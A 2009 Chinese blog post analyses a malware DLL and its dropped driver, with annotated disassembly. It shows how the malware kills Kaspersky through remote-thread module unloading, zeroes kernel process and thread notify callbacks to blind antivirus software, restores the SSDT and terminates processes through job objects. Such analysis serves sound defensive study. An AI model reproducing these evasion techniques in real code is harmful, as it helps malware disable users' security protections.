ITeye博客

未完的病毒分析func.dll

谁解怨妇心 · 2009-09-20 17:33 · 汉化破解 · Markdown

这个dll会释放出一个驱动,于是就被这个诡异的驱动迷惑了很久。后来上网一查发现几个月前在看雪看到的一个帖就是这个病毒的,而且我搞错了对象了,dll调用的sys很早就释放了出来orz。 DllMain没什么好说的,就将hModule保存起来并且调用OpenProcessToken、LookupPrivilegeValue跟AdjustTokenPrivileges提升进程权限。 droqp函数的分析如下:

.text:10004340 lea eax, [ebp+systemtime] .text:10004343 push eax ; lpSystemTime .text:10004344 call ds:GetSystemTime .text:1000434A cmp [ebp+systemtime.wyear], 7D7h ; 年份早于2007年则退出 .text:10004350 jbe loc_10004426 .text:10004356 mov esi, 104h .text:1000435B lea eax, [ebp+filename] .text:10004361 push esi ; uSize .text:10004362 push eax ; lpBuffer .text:10004363 call ds:GetWindowsDirectoryA .text:10004369 lea eax, [ebp+filename] .text:1000436F push offset aSystem32Driver ; "\system32\drivers" .text:10004374 push eax ; Dest .text:10004375 call strcat .text:1000437A lea eax, [ebp+filename] .text:10004380 push offset aAcpiec_sys ; "\acpiec.sys" .text:10004385 push eax ; Dest .text:10004386 call strcat .text:1000438B add esp, 10h .text:1000438E cmp [ebp+systemtime.wyear], 7D8h .text:10004394 jbe short loc_100043AC .text:10004396 lea eax, [ebp+filename] .text:1000439C push eax ; lpFileName .text:1000439D push offset hFile ; "SYS" .text:100043A2 push 67h ; hResInfo .text:100043A4 call sub_10001000 ; 释放acpiec.sys到system32\drivers\目录下 .text:100043A9 add esp, 0Ch .text:100043AC .text:100043AC loc_100043AC: ; CODE XREF: droqp+ACj .text:100043AC lea eax, [ebp+filename] .text:100043B2 push eax ; lpBinaryPathName .text:100043B3 call sub_10003F22 ; 装载acpiec.sys .text:100043B8 pop ecx .text:100043B9 xor ebx, ebx .text:100043BB push ebx ; hTemplateFile .text:100043BC push 80h ; dwFlagsAndAttributes .text:100043C1 push 3 ; dwCreationDisposition .text:100043C3 push ebx ; lpSecurityAttributes .text:100043C4 push ebx ; dwShareMode .text:100043C5 push 0C0000000h ; dwDesiredAccess .text:100043CA push offset FileName ; "\\.\CMusic" .text:100043CF call ds:CreateFileA ; 打开的却是另一个驱动orz .text:100043D5 cmp eax, 0FFFFFFFFh .text:100043D8 mov [ebp+lpparameter], eax .text:100043DB jz short loc_10004400 .text:100043DD mov edi, ds:GetSystemDirectoryA .text:100043E3 lea eax, [ebp+filename] .text:100043E9 push esi ; uSize .text:100043EA push eax ; lpBuffer .text:100043EB call edi ; GetSystemDirectoryA .text:100043ED lea eax, [ebp+filename] .text:100043F3 push esi ; uSize .text:100043F4 push eax ; lpBuffer .text:100043F5 call edi ; GetSystemDirectoryA .text:100043F7 push [ebp+lpparameter] ; Handle of \.\CMusic .text:100043FA call sub_1000417D ; 利用特征码在ntoskrl.exe里面找SSDT的偏移地址并与驱动通信还原SSDT .text:100043FF pop ecx .text:10004400 .text:10004400 loc_10004400: ; CODE XREF: droqp+F3j .text:10004400 mov esi, ds:Sleep .text:10004406 push 3E8h ; dwMilliseconds .text:1000440B call esi ; Sleep .text:1000440D push ebx ; lpThreadId .text:1000440E push ebx ; dwCreationFlags .text:1000440F push [ebp+lpparameter] ; lpParameter .text:10004412 push offset StartAddress ; lpStartAddress .text:10004417 push ebx ; dwStackSize .text:10004418 push ebx ; lpThreadAttributes .text:10004419 call ds:CreateThread ; 开启工作线程 .text:1000441F push 1D4C0h ; dwMilliseconds .text:10004424 call esi ; Sleep

当初看到释放的驱动,分析了N久也没找到看雪上的牛人说的恢复SSDT跟杀进程的代码,更要命的是acpiec.sys连符号链接都没创建……后来看了一下加载的\.\CMusic是另外一个病毒文件释放出来的orz 工作线程先是列出了一对杀毒软件的名,然后再用ToolHelp32函数来枚举进程,不过不知道是不是我这个func.dll跟别人的不同……只是枚举进程却没有杀进程的操作,就光杀了一个卡巴斯基:

.text:10001254 push ebp .text:10001255 mov ebp, esp .text:10001257 sub esp, 224h .text:1000125D push ebx .text:1000125E push [ebp+dwprocessid] ; th32ProcessID .text:10001261 push 8 ; dwFlags .text:10001263 call CreateToolhelp32Snapshot .text:10001268 mov ebx, eax .text:1000126A cmp ebx, 0FFFFFFFFh .text:1000126D jz loc_10001328 .text:10001273 lea eax, [ebp+me] .text:10001279 mov [ebp+me.dwsize], 224h .text:10001283 push eax ; lpme .text:10001284 push ebx ; hSnapshot .text:10001285 call Module32First .text:1000128A test eax, eax .text:1000128C jnz short loc_1000129A .text:1000128E push ebx ; hObject .text:1000128F call ds:CloseHandle .text:10001295 jmp loc_10001328 .text:1000129A ; --------------------------------------------------------------------------- .text:1000129A .text:1000129A loc_1000129A: ; CODE XREF: sub_10001254+38j .text:1000129A push esi .text:1000129B mov esi, ds:OutputDebugStringA .text:100012A1 push edi .text:100012A2 mov edi, ds:strstr .text:100012A8 .text:100012A8 loc_100012A8: ; CODE XREF: sub_10001254+C9j .text:100012A8 lea eax, [ebp+me.szexepath] .text:100012AE push eax ; lpOutputString .text:100012AF call esi ; OutputDebugStringA .text:100012B1 lea eax, [ebp+me.szexepath] .text:100012B7 push offset SubStr ; ".kdl" .text:100012BC push eax ; Str .text:100012BD call edi ; strstr .text:100012BF pop ecx .text:100012C0 test eax, eax .text:100012C2 pop ecx .text:100012C3 jz short loc_100012E9 .text:100012C5 push [ebp+me.hmodule] ; lpParameter .text:100012CB push [ebp+dwprocessid] ; dwProcessId .text:100012CE call sub_10001201 ; 创建远程线程令avp.exe卸载kdl模块 .text:100012D3 pop ecx .text:100012D4 lea eax, [ebp+me.szexepath] .text:100012DA pop ecx .text:100012DB push eax ; lpOutputString .text:100012DC call esi ; OutputDebugStringA .text:100012DE push 3E8h ; dwMilliseconds .text:100012E3 call ds:Sleep .text:100012E9 .text:100012E9 loc_100012E9: ; CODE XREF: sub_10001254+6Fj .text:100012E9 lea eax, [ebp+me.szexepath] .text:100012EF push offset aAvp_exe ; "avp.exe" .text:100012F4 push eax ; Str .text:100012F5 call edi ; strstr .text:100012F7 pop ecx .text:100012F8 test eax, eax .text:100012FA pop ecx .text:100012FB jz short loc_1000130E .text:100012FD lea eax, [ebp+me.szexepath] .text:10001303 push eax ; Source .text:10001304 push [ebp+dest] ; Dest .text:10001307 call strcpy .text:1000130C pop ecx .text:1000130D pop ecx .text:1000130E .text:1000130E loc_1000130E: ; CODE XREF: sub_10001254+A7j .text:1000130E lea eax, [ebp+me] .text:10001314 push eax ; lpme .text:10001315 push ebx ; hSnapshot .text:10001316 call Module32Next .text:1000131B test eax, eax .text:1000131D jnz short loc_100012A8 .text:1000131F push ebx ; hObject .text:10001320 call ds:CloseHandle .text:10001326 pop edi .text:10001327 pop esi .text:10001328 .text:10001328 loc_10001328: ; CODE XREF: sub_10001254+19j .text:10001328 ; sub_10001254+41j .text:10001328 pop ebx .text:10001329 leave .text:1000132A retn .text:1000132A sub_10001254 endp

这段代码是通过枚举卡巴的模块来查找kdl模块,找到就给卡巴创建一条远程线程来卸载它,然后就是WinExec执行两条命令来杀掉卡巴。 驱动部分: 先在DriverEntry调用以下函数:

.text:00011BEE push ebp .text:00011BEF mov ebp, esp .text:00011BF1 push ecx .text:00011BF2 push ecx .text:00011BF3 push esi .text:00011BF4 mov esi, ds:RtlInitUnicodeString .text:00011BFA push edi .text:00011BFB push offset word_11B2A ; SourceString=PsRemoveLoadImageNotifyRoutine .text:00011C00 lea eax, [ebp+destinationstring] .text:00011C03 push eax ; DestinationString .text:00011C04 call esi ; RtlInitUnicodeString .text:00011C06 mov edi, ds:MmGetSystemRoutineAddress .text:00011C0C lea eax, [ebp+destinationstring] .text:00011C0F push eax ; SystemRoutineName .text:00011C10 call edi ; MmGetSystemRoutineAddress .text:00011C12 push eax .text:00011C13 call sub_11AFE .text:00011C18 push offset word_11B6A ; SourceString=PsSetCreateProcessNotifyRoutine .text:00011C1D lea eax, [ebp+destinationstring] .text:00011C20 push eax ; DestinationString .text:00011C21 call esi ; RtlInitUnicodeString .text:00011C23 lea eax, [ebp+destinationstring] .text:00011C26 push eax ; SystemRoutineName .text:00011C27 call edi ; MmGetSystemRoutineAddress .text:00011C29 push eax .text:00011C2A call sub_11AFE .text:00011C2F push offset word_11BAA ; SourceString=PsRemoveCreateThreadNotifyRoutine .text:00011C34 lea eax, [ebp+destinationstring] .text:00011C37 push eax ; DestinationString .text:00011C38 call esi ; RtlInitUnicodeString .text:00011C3A lea eax, [ebp+destinationstring] .text:00011C3D push eax ; SystemRoutineName .text:00011C3E call edi ; MmGetSystemRoutineAddress .text:00011C40 push eax .text:00011C41 call sub_11AFE .text:00011C46 pop edi .text:00011C47 pop esi .text:00011C48 leave .text:00011C49 retn .text:00011C49 sub_11BEE endp

sub_11AFE proc near ; CODE XREF: sub_11BEE+25p .text:00011AFE ; sub_11BEE+3Cp ... .text:00011AFE .text:00011AFE arg_0 = dword ptr 4 .text:00011AFE .text:00011AFE mov eax, [esp+arg_0] .text:00011B02 test eax, eax .text:00011B04 jz short loc_11B14 .text:00011B06 xor ecx, ecx .text:00011B08 .text:00011B08 loc_11B08: ; CODE XREF: sub_11AFE+14j .text:00011B08 cmp byte ptr [eax], 0BFh ; 查找特征码 .text:00011B0B jz short loc_11B18 .text:00011B0D inc eax .text:00011B0E inc ecx .text:00011B0F cmp ecx, 14h .text:00011B12 jl short loc_11B08 .text:00011B14 .text:00011B14 loc_11B14: ; CODE XREF: sub_11AFE+6j .text:00011B14 xor al, al .text:00011B16 jmp short locret_11B26 .text:00011B18 ; --------------------------------------------------------------------------- .text:00011B18 .text:00011B18 loc_11B18: ; CODE XREF: sub_11AFE+Dj .text:00011B18 push edi .text:00011B19 mov edi, [eax+1] ; 监控例程地址 .text:00011B1C push 8 .text:00011B1E pop ecx .text:00011B1F xor eax, eax ; 填0 .text:00011B21 rep stosd .text:00011B23 mov al, 1 .text:00011B25 pop edi .text:00011B26 .text:00011B26 locret_11B26: ; CODE XREF: sub_11AFE+18j .text:00011B26 retn 4 .text:00011B26 sub_11AFE endp

上面这段代码是查找PsRemoveLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、PsRemoveCreateThreadNotifyRoutine三个函数中的特征码例如bfe0a35580 mov edi,offset nt!PspCreateProcessNotifyRoutine 获取监控例程的地址然后直接填0,令杀毒软件的监控失效。 接下来是IRP_MJ_DEVICE_CONTROL回调例程,响应两个操作码,分别是22E153h跟22E14Bh。前者是将传入的ProcessID调用ZwOpenProcess-》ZwCreateJobObject-》ZwAssignProcessToJobObject-》ZwTerminateJobObjcet来结束进程。后者是还原SSDT,代码很简单就不帖了。 func.dll只要是杀杀毒软件的。而phpi.dll才是实际干坏事的:包括修改host文件,下载木马、释放一个穿透还原的驱动。时间不足加上精力不足,就不分析了orz

评论(0)

暂无评论。

评论功能维护中,当前仅展示历史评论。